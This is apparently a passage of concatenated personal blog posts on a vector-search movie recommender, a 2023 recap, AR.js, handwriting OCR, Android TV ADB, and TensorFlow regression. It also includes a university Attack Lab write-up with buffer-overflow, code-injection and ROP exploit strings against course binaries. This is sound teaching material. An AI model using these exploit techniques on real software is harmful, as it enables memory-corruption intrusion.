• FAISS - A library for efficient similarity search

• Pinecone - A fully managed vector database with similar search functionality

I did not want to waste time setting up the first two, so I decided to go with Pinecone which offers 1M 768-dim vectors for free with no credit card required (Our embeddings are 384-dim dense).

Getting started with Pinecone was as easy as:

• Signing up

• Specifying the index name and vector dimensions along with the similarity search metric (Cosine Similarity for our use case)

• Getting the API key

• Installing the Python module (pinecone-client)

import pandas as pd
import pinecone
from sentence_transformers import SentenceTransformer
from tqdm import tqdm 

database_url = "sqlite:///jlm.db"
PINECONE_KEY = "not-this-at-all"
batch_size = 32

pinecone.init(api_key=PINECONE_KEY, environment="us-west1-gcp")
index = pinecone.Index("movies")

model = SentenceTransformer("paraphrase-multilingual-MiniLM-L12-v2", device="cuda")
engine, Session = init_db_stuff(database_url)

df = pd.read_sql("Select * from movies", engine)
df["combined_text"] = df["title"] + ": " + df["overview"].fillna('') + " -  " + df["tagline"].fillna('') + " Genres:-  " + df["genres"].fillna('')

# Creating the embedding and inserting it into the database
for x in tqdm(range(0,len(df),batch_size)):
    to_send = []
    trakt_ids = df["trakt_id"][x:x+batch_size].tolist()
    sentences = df["combined_text"][x:x+batch_size].tolist()
    embeddings = model.encode(sentences)
    for idx, value in enumerate(trakt_ids):
        to_send.append(
            (
                str(value), embeddings[idx].tolist()
            ))
    index.upsert(to_send)

That's it!

Interacting with Vectors

We use the trakt_id for the movie as the ID for the vectors and upsert it into the index.

To find similar items, we will first have to map the name of the movie to its trakt_id, get the embeddings we have for that id and then perform a similarity search. It is possible that this additional step of mapping could be avoided by storing information as metadata in the index.

def get_trakt_id(df, title: str):
  rec = df[df["title"].str.lower()==movie_name.lower()]
  if len(rec.trakt_id.values.tolist()) > 1:
    print(f"multiple values found... {len(rec.trakt_id.values)}")
    for x in range(len(rec)):
      print(f"[{x}] {rec['title'].tolist()[x]} ({rec['year'].tolist()[x]}) - {rec['overview'].tolist()}")
      print("===")
      z = int(input("Choose No: "))
      return rec.trakt_id.values[z]
  return rec.trakt_id.values[0]

def get_vector_value(trakt_id: int):
  fetch_response = index.fetch(ids=[str(trakt_id)])
  return fetch_response["vectors"][str(trakt_id)]["values"]

def query_vectors(vector: list, top_k: int = 20, include_values: bool = False, include_metada: bool = True):
  query_response = index.query(
      queries=[
          (vector),
      ],
      top_k=top_k,
      include_values=include_values,
      include_metadata=include_metada
  )
  return query_response

def query2ids(query_response):
  trakt_ids = []
  for match in query_response["results"][0]["matches"]:
    trakt_ids.append(int(match["id"]))
  return trakt_ids

def get_deets_by_trakt_id(df, trakt_id: int):
  df = df[df["trakt_id"]==trakt_id]
  return {
      "title": df.title.values[0],
      "overview": df.overview.values[0],
      "runtime": df.runtime.values[0],
      "year": df.year.values[0]
  }

Testing it Out

movie_name = "Now You See Me"

movie_trakt_id = get_trakt_id(df, movie_name)
print(movie_trakt_id)
movie_vector = get_vector_value(movie_trakt_id)
movie_queries = query_vectors(movie_vector)
movie_ids = query2ids(movie_queries)
print(movie_ids)

for trakt_id in movie_ids:
  deets = get_deets_by_trakt_id(df, trakt_id)
  print(f"{deets['title']} ({deets['year']}): {deets['overview']}")

Output:

55786
[55786, 18374, 299592, 662622, 6054, 227458, 139687, 303950, 70000, 129307, 70823, 5766, 23950, 137696, 655723, 32842, 413269, 145994, 197990, 373832]
Now You See Me (2013): An FBI agent and an Interpol detective track a team of illusionists who pull off bank heists during their performances and reward their audiences with the money.
Trapped (1949): U.S. Treasury Department agents go after a ring of counterfeiters.
Brute Sanity (2018): An FBI-trained neuropsychologist teams up with a thief to find a reality-altering device while her insane ex-boss unleashes bizarre traps to stop her.
The Chase (2017): Some FBI agents hunt down a criminal
Surveillance (2008): An FBI agent tracks a serial killer with the help of three of his would-be victims - all of whom have wildly different stories to tell.
Marauders (2016): An untraceable group of elite bank robbers is chased by a suicidal FBI agent who uncovers a deeper purpose behind the robbery-homicides.
Miracles for Sale (1939): A maker of illusions for magicians protects an ingenue likely to be murdered.
Deceptors (2005): A Ghostbusters knock-off where a group of con-artists create bogus monsters to scare up some cash. They run for their lives when real spooks attack.
The Outfit (1993): A renegade FBI agent sparks an explosive mob war between gangster crime lords Legs Diamond and Dutch Schultz.
Bank Alarm (1937): A federal agent learns the gangsters he's been investigating have kidnapped his sister.
The Courier (2012): A shady FBI agent recruits a courier to deliver a mysterious package to a vengeful master criminal who has recently resurfaced with a diabolical plan.
After the Sunset (2004): An FBI agent is suspicious of two master thieves, quietly enjoying their retirement near what may - or may not - be the biggest score of their careers.
Down Three Dark Streets (1954): An FBI Agent takes on the three unrelated cases of a dead agent to track down his killer.
The Executioner (1970): A British intelligence agent must track down a fellow spy suspected of being a double agent.
Ace of Cactus Range (1924): A Secret Service agent goes undercover to unmask the leader of a gang of diamond thieves.
Firepower (1979): A mercenary is hired by the FBI to track down a powerful recluse criminal, a woman is also trying to track him down for her own personal vendetta.
Heroes & Villains (2018): an FBI agent chases a thug to great tunes
Federal Fugitives (1941): A government agent goes undercover in order to apprehend a saboteur who caused a plane crash.
Hell on Earth (2012): An FBI Agent on the trail of a group of drug traffickers learns that their corruption runs deeper than she ever imagined, and finds herself in a supernatural - and deadly - situation.
Spies (2015): A secret agent must perform a heist without time on his side

For now, I am happy with the recommendations.

Simple UI

The code for the flask app can be found on GitHub: navanchauhan/FlixRec or on my Gitea instance

I quickly whipped up a simple Flask App to deal with problems of multiple movies sharing the title, and typos in the search query.

Home Page

Handling Multiple Movies with Same Title

Results Page

Includes additional filter options

Test it out at https://flixrec.navan.dev

Current Limittations

• Does not work well with popular franchises
• No Genre Filter

Future Addons

• Include Cast Data
  • e.g. If it sees a movie with Tom Hanks and Meg Ryan, then it will boost similar movies including them
  • e.g. If it sees the movie has been directed my McG, then it will boost similar movies directed by them
• REST API
• TV Shows
• Multilingual database
• Filter based on popularity: The data already exists in the indexed database

2024 % 4 == 0

2023

Another revolution around the sun! This was a pretty fun and interesting year. I got to work on some interesting projects, and learned a lot.

I am going to try and use my GitHub activity to recap.

Spring

• I helped a friend modernize their Larvael codebase. Dockerized it for easier development, and added a CD pipeline. (Probably going to be released by end of this year)
• I joined Hindsight Journal, a creative non-fiction club at CU as their "webmaster", and we moved away from Squarespace to our own custom static site generator.
• I did some YunoHost stuff with listmonk, and audiobookshelf
• I found out that the instructor for my astrophysics class was behind @ThreeBodyBot. For my final project, I ported the codebase to run in the browser itself. Ended up getting an A 😎
• Won HackCU, my first hackathon in a few years. We built a timeboxing app similar to Motion / Reclaim.AI. Cleaned up the codebase and published it to the App Store as TimeSlicerX, making it my first published app.
• Got into Mountain Biking!

Summer

Summer was more relaxing. I mainly worked on some maintenance patches for my projects, and did some more freelancing stuff.

• Learned Tkinter for a client's project. Working with PyInstaller to create signed executables for both macOS and Windows was not fun. Also, the stock Tk look on Windows is terrible.
• Continued working on a research project using Computer Vision in analysing a lateral flow assay. Tried porting it to use OpenCV.js, but it wasn't reliable enough. I might look into directly working with OpenCV/Vision Framework for an iOS app.

Fall

• Won a couple more hackathons. I might summarize my hackathon experience in a different blog post.
• I gave up being the "webmaster" for Hindsight, and decided to become the club's business manager. We moved to Wix.
• Had fun re-learning all the reverse engineering stuff for my Systems class.
• Tried Advent of Code. Will be back :~)
• Created an alternative to Simplify.Jobs and worked on autofilling resumes without needing a browser extension (Current solution does require that you disable a few security flags for this to work). One solution might be to wrap our website as an Electron application.
• Started working on swift-gopher - a swift library for both client/server implementations for the Gopher protocol.
• Ended up using swift-gopher to build iGopherBrowser - a modern gopher client for iOS / macOS. This is my first publically availablle macOS app.

After the end of the fall semester I ended up getting my wisdom tooth removed. Took me out for 10 days.

I also did a ton of other stuff, but I am not sure how much I want to be sharing on my blog here. Maybe as I write more I will get more comfortable with sharing more information.

2024

So, what are my plans for 2024? Learn. Build. Ship.

Other goals:

• Continue homebrewing
• Learn assembly
• Get better at designing stuff
• Improve my handwriting
• Do a deeper dive into the math of Machine/Deep Learning, before I get back into it

AR.js

AR.js is a lightweight library for Augmented Reality on the Web, coming with features like Image Tracking, Location based AR and Marker tracking. It is the easiest option for cross-browser augmented reality.

The same code works for iOS, Android, Desktops and even VR Browsers!

It was initially created by Jerome Etienne and is now maintained by Nicolo Carpignoli and the AR-js Organisation

NFT

Usually for augmented reality you need specialised markers, like this Hiro marker (notice the thick non-aesthetic borders 🤢)

This is called marker based tracking where the code knows what to look for. NFT or Natural Feature Tracing converts normal images into markers by extracting 'features' from it, this way you can use any image of your liking!

I'll be using my GitHub profile picture

Creating the Marker!

First we need to create the marker files required by AR.js for NFT. For this we use Carnaux's repository 'NFT-Marker-Creator'.

$ git clone https://github.com/Carnaux/NFT-Marker-Creator

Cloning into 'NFT-Marker-Creator'...
remote: Enumerating objects: 79, done.
remote: Counting objects: 100% (79/79), done.
remote: Compressing objects: 100% (72/72), done.
remote: Total 580 (delta 10), reused 59 (delta 7), pack-reused 501
Receiving objects: 100% (580/580), 9.88 MiB | 282.00 KiB/s, done.
Resolving deltas: 100% (262/262), done.

$ cd NFT-Makrer-Creator

Install the dependencies

$ npm install

npm WARN nodegenerator@1.0.0 No repository field.

added 67 packages from 56 contributors and audited 67 packages in 2.96s

1 package is looking for funding
  run `npm fund` for details

found 0 vulnerabilities



   ╭────────────────────────────────────────────────────────────────╮
   │                                                                │
   │      New patch version of npm available! 6.14.5 → 6.14.7       │
   │   Changelog: https://github.com/npm/cli/releases/tag/v6.14.7   │
   │               Run npm install -g npm to update!                │
   │                                                                │
   ╰────────────────────────────────────────────────────────────────╯

Copy the target marker to the folder

$ cp ~/CodingAndStuff/ARjs/me.png .

Generate Marker

$ node app.js -i me.png

Confidence level: [ * * * * * ] 5/5 || Entropy: 5.24 || Current max: 5.17 min: 4.6

Do you want to continue? (Y/N)
y
writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!
[info] 
Commands: 
[info] --
Generator started at 2020-08-01 16:01:41 +0580
[info] Tracking Extraction Level = 2
[info] MAX_THRESH  = 0.900000
[info] MIN_THRESH  = 0.550000
[info] SD_THRESH   = 8.000000
[info] Initialization Extraction Level = 1
[info] SURF_FEATURE = 100
[info]  min allow 3.699000.
[info] Image DPI (1): 3.699000
[info] Image DPI (2): 4.660448
[info] Image DPI (3): 5.871797
[info] Image DPI (4): 7.398000
[info] Image DPI (5): 9.320896
[info] Image DPI (6): 11.743593
[info] Image DPI (7): 14.796000
[info] Image DPI (8): 18.641792
[info] Image DPI (9): 23.487186
[info] Image DPI (10): 29.592001
[info] Image DPI (11): 37.283585
[info] Image DPI (12): 46.974373
[info] Image DPI (13): 59.184002
[info] Image DPI (14): 72.000000
[info] Generating ImageSet...
[info]    (Source image xsize=568, ysize=545, channels=3, dpi=72.0).
[info]   Done.
[info] Saving to asa.iset...
[info]   Done.
[info] Generating FeatureList...

...

[info] (46, 44) 5.871797[dpi]
[info] Freak features - 23[info] ========= 23 ===========
[info] (37, 35) 4.660448[dpi]
[info] Freak features - 19[info] ========= 19 ===========
[info] (29, 28) 3.699000[dpi]
[info] Freak features - 9[info] ========= 9 ===========
[info]   Done.
[info] Saving FeatureSet3...
[info]   Done.
[info] Generator finished at 2020-08-01 16:02:02 +0580
--

Finished marker creation!
Now configuring demo! 

Finished!
To run demo use: 'npm run demo'

Now we have the required files in the output folder

$ ls output

me.fset  me.fset3 me.iset

Creating the HTML Page

Create a new file called index.html in your project folder. This is the basic template we are going to use. Replace me with the root filename of your image, for example NeverGonnaGiveYouUp.png will become NeverGonnaGiveYouUp. Make sure you have copied all three files from the output folder in the previous step to the root of your project folder.

<script src="https://cdn.jsdelivr.net/gh/aframevr/aframe@1c2407b26c61958baa93967b5412487cd94b290b/dist/aframe-master.min.js"></script>
<script src="https://raw.githack.com/AR-js-org/AR.js/master/aframe/build/aframe-ar-nft.js"></script>

<style>
  .arjs-loader {
    height: 100%;
    width: 100%;
    position: absolute;
    top: 0;
    left: 0;
    background-color: rgba(0, 0, 0, 0.8);
    z-index: 9999;
    display: flex;
    justify-content: center;
    align-items: center;
  }

  .arjs-loader div {
    text-align: center;
    font-size: 1.25em;
    color: white;
  }
</style>

<body style="margin : 0px; overflow: hidden;">
  <div class="arjs-loader">
    <div>Calculating Image Descriptors....</div>
  </div>
  <a-scene
    vr-mode-ui="enabled: false;"
    renderer="logarithmicDepthBuffer: true;"
    embedded
    arjs="trackingMethod: best; sourceType: webcam;debugUIEnabled: false;"
  >
    <a-nft
      type="nft"
      url="./me"
      smooth="true"
      smoothCount="10"
      smoothTolerance=".01"
      smoothThreshold="5"
    >

    </a-nft>
    <a-entity camera></a-entity>
  </a-scene>
</body>

In this we are creating a AFrame scene and we are telling it that we want to use NFT Tracking. The amazing part about using AFrame is that we are able to use all AFrame objects!

Adding a simple box

Let us add a simple box!

<a-nft .....>
    <a-box position='100 0.5 -180' material='opacity: 0.5; side: double' scale="100 100 100"></a-box>
</a-nft>

Now to test it out we will need to create a simple server, I use Python's inbuilt SimpleHTTPServer alongside ngrok

In one terminal window, cd to the project directory. Currently your project folder should have 4 files, index.html, me.fset3, me.fset and me.iset

Open up two terminal windows and cd into your project folder then run the following commands to start up your server.

In the first terminal window start the Python Server

$ cd ~/CodingAndStuff/ARjs
$ python2 -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

In the other window run ngrok ( Make sure you have installed it prior to running this step )

$ ngrok http 8000

Now copy the url to your phone and try running the example

👏 Congratulations! You just built an Augmented Reality experience using AR.js and AFrame

Adding a Torus-Knot in the box

Edit your index.html

<a-nft ..>
    <a-box ..>
        <a-torus-knot radius='0.26' radius-tubular='0.05' ></a-torus-knot>
    </ a-box>
</ a-nft>

Where are the GIFs?

Now that we know how to place a box in the scene and add a torus knot in it, what do we do next? We bring the classic internet back!

AFrame GIF Shader is a gif shader for A-Frame created by mayognaise.

First things first

Add <script src="https://rawgit.com/mayognaise/aframe-gif-shader/master/dist/aframe-gif-shader.min.js"></script> to <head>

Change the box's material to add the GIF shader

...
<a-box position='100 0.5 -180' material="shader:gif;src:url(https://media.tenor.com/images/412b1aa9149d98d561df62db221e0789/tenor.gif);opacity:.5" .....>

Bonus Idea: Integrate it with GitHub's new profile Readme Feature!

1) Host the code using GitHub Pages

2) Create a new repository ( the name should be your GitHub username )

3) Add QR Code to the page and tell the users to scan your profile picture

??) Profit 💸

Here is a screenshot of me scanning a rounded version of my profile picture ( It still works! Even though the image is cropped and I haven't changed any line of code )

Here is the original PDF. I made some edits to the content after generating the markdown file

Paper Website is a service that lets you build a website with just pen and paper. I am going to try and replicate the process.

The Plan

The continuity feature on macOS + iOS lets you scan PDFs directly from your iPhone. I want to be able to scan these pages and automatically run an Automator script that takes the PDF and OCRs the text. Then I can further clean the text and convert from markdown.

Challenges

I quickly realised that the OCR software I planned on using could not detect my shitty handwriting accurately. I tried using ABBY Finereader, Prizmo and OCRMyPDF. (Abby Finereader and Prizmo support being automated by Automator).

Now, I could either write neater, or use an external API like Microsoft Azure

Solution

OCR

In the PDFs, all the scans are saved as images on a page. I extract the image and then send it to Azure's API.

Paragraph Breaks

The recognised text had multiple lines breaking in the middle of the sentence, Therefore, I use what is called a pilcrow to specify paragraph breaks. But, rather than trying to draw the normal pilcrow, I just use the HTML entity ¶ which is the pilcrow character.

Where is the code?

I created a GitHub Gist for a sample Python script to take the PDF and print the text

A more complete version with Auomator scripts and an entire publishing pipeline will be available as a GitHub and Gitea repo soon.

* In Part 2, I will discuss some more features *

Introduction

Lab 3 for CSCI 2400 @ CU Boulder - Computer Systems

This assignment involves generating a total of five attacks on two programs having different security vulnerabilities. The directions for this lab are detailed but not difficult to follow. Attack Lab Handout

Again, I like using objdump to disassemble the code.

objdump -d ctarget > dis.txt

Phase 1

From the instructions, we know that our task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test

Let us try to look into the getbuf from our disassembled code.

0000000000402608 <getbuf>:
  402608:   48 83 ec 18             sub    $0x18,%rsp
  40260c:   48 89 e7                mov    %rsp,%rdi
  40260f:   e8 95 02 00 00          call   4028a9 <Gets>
  402614:   b8 01 00 00 00          mov    $0x1,%eax
  402619:   48 83 c4 18             add    $0x18,%rsp
  40261d:   c3  

402608: 48 83 ec 18             sub    $0x18,%rsp

We can see that 0x18 (hex) or 24 (decimal) bytes of buffer is allocated to getbuf (Since, 24 bytes are being subtracted from the stack pointer).

Buffer Overflow: A buffer overrun happens when the size of the data exceeds the memory size reserved for the buffer we are storing in our value.

Now, since we know the buffer size we can try passing the address of the touch1 function after we pad it up with the buffer size.

jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1
000000000040261e <touch1>:

We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)'
little

We have our padding size and the function we need to call, we can write it in ctarget.l1.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1e 26 40 00 00 00 00 00

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget 
Cookie: 0x3e8dee8f
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

Phase 2

Phase 2 involves injecting a small amount of code as part of your exploit string.

Within the file ctarget there is code for a function touch2 having the following C representation: Attack Lab Handout

void touch2(unsigned val)
{
        vlevel = 2;
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
}

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

Recall that the first argument to a function is passed in register %rdi Attack Lab Handout

This hint tells us that we need to store the cookie in the rdi register

movq $0x3e8dee8f,%rdi 
retq

To get the byte representation, we need to compile the code and then disassemble it.

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o
phase2.s: Assembler messages:
phase2.s: Warning: end of file not at end of a line; newline inserted

phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 8f ee 8d 3e    mov    $0x3e8dee8f,%rdi
   7:   c3                      ret    

Thus, the byte representation for our asm code is 48 c7 c7 8f ee 8d 3e c3

We also need to figure out the address to the %rsp register. Again, looking at the getbuf code

0000000000402608 <getbuf>:
  402608:   48 83 ec 18             sub    $0x18,%rsp
  40260c:   48 89 e7                mov    %rsp,%rdi
  40260f:   e8 95 02 00 00          call   4028a9 <Gets>
  402614:   b8 01 00 00 00          mov    $0x1,%eax
  402619:   48 83 c4 18             add    $0x18,%rsp
  40261d:   c3                      ret

We need to find the address of %rsp after calling <Gets> and sending a really long string.

What we are going to do now is to add a break on getbuf, and run the program just after it asks us to enter a string and then find the address of %rsp

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ctarget...
(gdb) b getbuf
Breakpoint 1 at 0x402608: file buf.c, line 12.
(gdb) run
Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget 
Cookie: 0x3e8dee8f

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x0000000000402608 <+0>:     sub    $0x18,%rsp
   0x000000000040260c <+4>:     mov    %rsp,%rdi
   0x000000000040260f <+7>:     call   0x4028a9 <Gets>
   0x0000000000402614 <+12>:    mov    $0x1,%eax
   0x0000000000402619 <+17>:    add    $0x18,%rsp
   0x000000000040261d <+21>:    ret    
End of assembler dump.
(gdb) until *0x402614
Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe
getbuf () at buf.c:15
15      in buf.c
(gdb) x/s $rsp
0x55621b40:     "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe"
(gdb)

So, the address for %rsp is 0x55621b40

Thus, we can set our ctarget.l2.txt as:

byte representation of ASM code
padding
address of %rsp
address of touch2 function

To get the address of touch2 we can run:

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2
000000000040264e <touch2>:
  402666:       74 2a                   je     402692 <touch2+0x44>
  4026b2:       eb d4                   jmp    402688 <touch2+0x3a>

48 c7 c7 8f ee 8d 3e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
4e 26 b2 00 00 00 00 00

Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes,

joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget 
Cookie: 0x3e8dee8f
Type string:Touch2!: You called touch2(0x3e8dee8f)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

Phase 3

Phase 3 also involves a code injection attack, but passing a string as argument.

You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”

Your injected code should set register %rdi to the address of this string

When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie. Attack Lab Handout

Because hexmatch and strncmp might overwrite the buffer allocated for getbuf we will try to store the data after the function touch3 itself.

The rationale is simple: by the time our payload is executed, we will be setting %rdi to point to the cookie. Placing the cookie after touch3 function ensures that it will not be overwritten by the function calls. It also means that we can calculate the address of the cookie with relative ease, based on the known offsets.

=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)

• Return Address (8 Bytes): Since in a 64 bit system the return address is always 8 bytes, by overwriting this address, we redirect the function to jump to our desired location upon returning (e.g. the beginning of the touch3 function)
• Touch 3 (8 bytes): The address of the touch3 function is 8 bytes long.

We can use our address for %rsp from phase 2, and simply add 0x28 to it.

=> 0x55621b40 + 0x28 = 0x55621B68

Again, let us get the binary representation for the ASM code:

movq $0x55621B68, %rdi
retq

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o
phase3.s: Assembler messages:
phase3.s: Warning: end of file not at end of a line; newline inserted

phase3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 68 1b 62 55    mov    $0x55621b68,%rdi
   7:   c3                      ret

Thus, our answer is going to be in the form:

asm code
padding
return address / %rsp
touch3 address
cookie string

To quickly get the address for touch3

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3
0000000000402763 <touch3>:
  402781:       74 2d                   je     4027b0 <touch3+0x4d>
  4027d3:       eb d1                   jmp    4027a6 <touch3+0x43>

We need to use an ASCII to Hex converter to convert the cookie string into hex.

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p
3365386465653866

Thus, our cookie string representation is 33 65 38 64 65 65 38 66

48 c7 c7 68 1B 62 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
63 27 40 00 00 00 00 00
33 65 38 64 65 65 38 66

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget 
Cookie: 0x3e8dee8f
Type string:Touch3!: You called touch3("3e8dee8f")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

Phases 1-3 Complete.

Phase 4

For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm. You can construct your solution using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi). * movq * popq * ret * nop

All the gadgets you need can be found in the region of the code for rtarget demarcated by the functions startfarm and midfarm

You can do this attack with just two gadgets

When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data. Attack Lab Handout

What is ROP Attack?

is a computer security exploit technique in which the attacker uses control of the call stack to indirectly execute cherry-picked machine instructions https://resources.infosecinstitute.com

Let us check if we can find popq %rdi between start_farm and end_farm

The way a normal person would find the hex representation 58 to be between start_farm and end_farm is to find the line numbers for both and then search between those lines. But, what if you don't want to move away from the terminal?

Assuming, the disassembled code for rtarget is stored in dis2.txt (objdump -d rtarget > dis2.txt)

jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 " 58"
16-000000000040281f <getval_373>:
17-  40281f:    f3 0f 1e fa             endbr64 
18:  402823:    b8 d3 f5 c2 58          mov    $0x58c2f5d3,%eax
19-  402828:    c3                      ret    
20-
--
26-0000000000402834 <setval_212>:
27-  402834:    f3 0f 1e fa             endbr64 
28:  402838:    c7 07 58 90 c3 92       movl   $0x92c39058,(%rdi)
29-  40283e:    c3                      ret    
30-
--
41-0000000000402854 <setval_479>:
42-  402854:    f3 0f 1e fa             endbr64 
43:  402858:    c7 07 58 c7 7f 61       movl   $0x617fc758,(%rdi)
44-  40285e:    c3                      ret    
45-

If we were to pick the first one as our gadget, the instruction address is 0x402823, but to get to the instruction 58 we need to add 4 bytes:

=> Gadget address = 0x402823 + 0x4 = 0x402827

The PDF already provides the next gadget we are supposed to look for 48 89 c7

jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 "48 89 c7"
11-0000000000402814 <setval_253>:
12-  402814:    f3 0f 1e fa             endbr64 
13:  402818:    c7 07 48 89 c7 94       movl   $0x94c78948,(%rdi)
14-  40281e:    c3                      ret    
15-
--
31-000000000040283f <getval_424>:
32-  40283f:    f3 0f 1e fa             endbr64 
33:  402843:    b8 48 89 c7 c3          mov    $0xc3c78948,%eax
34-  402848:    c3                      ret    
35-
36-0000000000402849 <setval_417>:
37-  402849:    f3 0f 1e fa             endbr64 
38:  40284d:    c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
39-  402853:    c3                      ret    
40-
jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ 

We cannot use the first match because it is followed by 0x94 instead of c3, either of the next two matches will work (0x90 is nop and it does nothing but increment the program counter by 1)

Again, we have to account for the offset.

Taking 0x402843 we need to add just 1 byte.

=> 0x402843 + 1 = 0x402844

Our answer for this file is going to be:

padding
gadget1
cookie
gadget2
touch2

jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ cat dis2.txt | grep touch2
000000000040264e <touch2>:
  402666:       74 2a                   je     402692 <touch2+0x44>
  4026b2:       eb d4                   jmp    402688 <touch2+0x3a>

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
27 28 40 00 00 00 00 00
8f ee 8d 3e 00 00 00 00
44 28 40 00 00 00 00 00
4e 26 40 00 00 00 00 00

jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ ./hex2raw < ./rtarget.l2.txt | ./rtarget 
Cookie: 0x3e8dee8f
Type string:Touch2!: You called touch2(0x3e8dee8f)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

So I have an Android TV, this posts covers everything I have tried on it

Contents

1. Getting TV's IP Address
2. Enable Developer Settings
3. Enable ADB
4. Connect ADB
5. Manipulating Packages

IP-Address

These steps should be similar for all Android-TVs

• Go To Settings
• Go to Network
• Advanced Settings
• Network Status
• Note Down IP-Address

The other option is to go to your router's server page and get connected devices

Developer-Settings

• Go To Settings
• About
• Continuously click on the "Build" option until it says "You are a Developer"

Enable-ADB

• Go to Settings
• Go to Developer Options
• Scroll until you find ADB Debugging and enable that option

Connect-ADB

• Open Terminal (Make sure you have ADB installed)
• Enter the following command adb connect <IP_ADDRESS>
• To test the connection run adb logcat

Manipulating Apps / Packages

Listing Packages

• adb shell
• pm list packages

Installing Packages

• adb install -r package.apk

Uninstalling Packages

• adb uninstall com.company.yourpackagename

In this tutorial you will learn about polynomial regression and how you can implement it in Tensorflow.

In this, we will be performing polynomial regression using 5 types of equations -

• Linear
• Quadratic
• Cubic
• Quartic
• Quintic

Regression

What is Regression?

Regression is a statistical measurement that is used to try to determine the relationship between a dependent variable (often denoted by Y), and series of varying variables (called independent variables, often denoted by X ).

What is Polynomial Regression

This is a form of Regression Analysis where the relationship between Y and X is denoted as the nth degree/power of X. Polynomial regression even fits a non-linear relationship (e.g when the points don't form a straight line).

Imports

import tensorflow.compat.v1 as tf
tf.disable_v2_behavior()
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd

Dataset

Creating Random Data

